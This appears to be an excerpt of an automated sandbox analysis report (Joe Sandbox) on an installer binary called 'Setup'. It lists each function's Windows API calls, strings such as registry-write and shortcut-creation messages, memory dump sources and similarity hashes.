String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Process32NextW, xrefs: 004065C8
Unknown, xrefs: 004064FC
EnumProcessModules, xrefs: 0040648A
EnumProcesses, xrefs: 00406482
Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
PSAPI.DLL, xrefs: 00406464
CreateToolhelp32Snapshot, xrefs: 004065B5
GetModuleBaseNameW, xrefs: 00406494
Process32FirstW, xrefs: 004065BD
Module32NextW, xrefs: 004065DE

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

open, xrefs: 004042DF
@%F, xrefs: 004042A7
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
